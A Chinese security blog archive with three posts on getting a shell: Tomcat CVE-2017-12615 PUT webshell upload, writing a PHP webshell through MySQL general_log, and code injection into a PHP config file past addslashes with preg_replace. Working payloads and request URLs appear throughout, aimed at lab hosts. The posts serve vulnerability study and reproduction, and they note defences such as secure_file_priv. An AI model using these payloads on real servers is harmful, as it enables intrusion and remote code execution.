标签归档:getshell

Tomcat远程代码执行漏洞CVE-2017-12615

CVE号:
CVE-2017-12615

漏洞危害:

默认Tomcat是禁止PUT和DELETE方法的,在tomcat中conf下的web.xml中:
可以看到关于readonly的解释
Is this context “read only”, so HTTP commands like PUT and DELETE are rejected?  [true]
可以看到默认是True,即不允许delete和put操作,会返回403。

如果不想限制的话,可以在Tomcat的web.xml 文件中配置org.apache.catalina.servlets.DefaultServlet的初始化参数中添加
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>

另外还可以修改应用中的web.xml
<?xml version=”1.0″ encoding=”UTF-8″?>
<web-app xmlns=”http://Java.sun.com/xml/ns/j2ee”
xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”
xsi:schemaLocation=”http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd”
version=”2.4″>
的下面添加
<security-constraint>
<web-resource-collection>
<url-pattern>/*</url-pattern>
<http-method>PUT</http-method>
<http-method>DELETE</http-method>
<http-method>HEAD</http-method>
<http-method>OPTIONS</http-method>
<http-method>TRACE</http-method>
</web-resource-collection>
<auth-constraint>
</auth-constraint>
</security-constraint>

直接PUT上传Webshell。

一开始影响平台为Windows,受影响版本为Apache Tomcat 7.0.0 – 7.0.81。

复现过程如下
默认是无法上传jsp文件的

Windows环境下利用Windows 的特性。其一是 NTFS 文件流

其二是文件名的相关限制(如 Windows 中文件名不能以空格结尾)

后来披露Linux 和 Windows 服务器平台下从5.x到9.x全部的Tomcat版本都受影响,当 PUT 地址为/1.jsp/时,仍然会创建 JSP。
Windows下Apache Tomcat/8.0.46:

Linux下Apache Tomcat/8.0.46

这里有朋友问Nginx方向代理到Tomcat上,后端的Tomcat如果开启了PUT方法是否受影响,其实Nginx本身没有禁止PUT方法,所以还是会转发到后端,同样是受影响。

参考文章:
http://www.freebuf.com/vuls/148283.html

 

Mysql利用general_log Getshell

感觉这种方式和redis通过持久化定时任务道理一样,都是通过命令修改系统配置来实现。
Windows下用phpstudy测试:
查看general_log的配置情况

mysql> show global variables like "%genera%";
+------------------+----------------+
| Variable_name    | Value          |
+------------------+----------------+
| general_log      | OFF            |
| general_log_file | E:/WWW/cmd.php |
+------------------+----------------+
2 rows in set (0.02 sec)
mysql> set global general_log='on';
Query OK, 0 rows affected (0.12 sec)
mysql> SET global general_log_file='E:/WWW/cmd.php';
Query OK, 0 rows affected (0.01 sec)
mysql> show global variables like "%genera%";
+------------------+----------------+
| Variable_name    | Value          |
+------------------+----------------+
| general_log      | ON             |
| general_log_file | E:/WWW/cmd.php |
+------------------+----------------+
2 rows in set (0.00 sec)
mysql> SELECT '<?php @assert($_POST["cmd"]);?>';
+---------------------------------+
| <?php @assert($_POST["cmd"]);?> |
+---------------------------------+
| <?php @assert($_POST["cmd"]);?> |
+---------------------------------+
1 row in set (0.00 sec)

查看文件内容

使用菜刀连接即可。

Linux下测试,首先需要Mysql有Web目录的写入权限,这里先将Web目录权限改为777,然后看一下生成的general_log文件的权限
[root@server120 html]# ls -al cmd.php
-rw-rw—- 1 mysql mysql 177 5月  26 10:33 cmd.php
发现文件权限是660,即默认的apache启动账户apache是没有读权限的。这里和umask设置没有关系。

vim /etc/profile
if [ $UID -gt 199 ] && [ "`id -gn`" = "`id -un`" ]; then
    umask 002
else
    umask 022
fi

这里的权限如果uid大于199,umask就是002,所对应用户创建的文件权限是666-002=664,目录权限是777-002=775。而general_log文件的权限为660,所以和umask的配置没关系。

MySQL中有一个名为secure_file_priv的全局系统变量。这个变量用于限制数据导入和导出操作造成的影响,例如由LOAD DATA 和SELECT…INTO OUTFILE语句和LOAD_FILE()函数执行的操作。

Secure_file_priv是一个全局变量,它是一个只读变量,你不能在运行时改变它。

如果变量设置为目录的名称,则服务器会将导入和导出操作限制在跟这个目录中一起使用。这个目录必须存在,服务器不会自己创建它。

如果变量为空,则不会产生影响,引起不安全的配置。

如果变量设置为NULL,那么服务器就会禁用导入和导出操作。

在/etc/my.cnf中【mysqld】下新增

secure_file_priv=/tmp/

测试:

mysql> select * from test union select 1 into outfile '/opt/mysql.txt';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

mysql> select * from test union select 1 into outfile '/tmp/mysql.txt';

Query OK, 4 rows affected (0.00 sec)

 

 

PHP写入配置文件getshell

看到小密圈的一个关于配置文件写入的题目,做一下记录。


问题代码:

1.php的内容如下:

<?php
if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);

config.php的内容如下:

<?php
$option='test';

preg_replace — 执行一个正则表达式的搜索和替换
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索subject中匹配pattern的部分, 以replacement进行替换。


1)利用换行

首先请求:http://192.168.192.120/1.php?option=123%27;%0aphpinfo();//
然后查看下config.php的内容:

[root@server120 html]# cat config.php 
<?php
$option='123\';
phpinfo();//';

然后在请求:http://192.168.192.120/1.php?option=123
然后查看下config.php的内容:

[root@server120 html]# cat config.php 
<?php
$option='123';
phpinfo();//';

2)利用转义

传入参数\’,经过addslashes处理后,会变为\\\’,随后preg_replace会将两个连续的\合并为一个,也就是将\\\’转为\\’,这样我们就成功引入了一个单引号,闭合了前面的单引号。
请求:http://192.168.192.120/1.php?option=123\%27;phpinfo();//
然后查看下config.php的内容:

[root@server120 html]# cat config.php 
<?php
$option='123\\';phpinfo();//';

3)利用\0和$0

首先请求:http://192.168.192.120/1.php?option=;phpinfo();
然后查看下config.php的内容:

[root@server120 html]# cat config.php 
<?php
$option=';phpinfo();';

preg_replace的replacement中可以包含捕获组,\0或者$0表示完整的匹配。
然后访问:http://192.168.192.120/1.php?option=$0

[root@server120 html]# cat config.php 
<?php
$option='$option=';phpinfo();';';

或者访问http://192.168.192.120/1.php?option=%00
%00在经过addslashes处理后会变成\0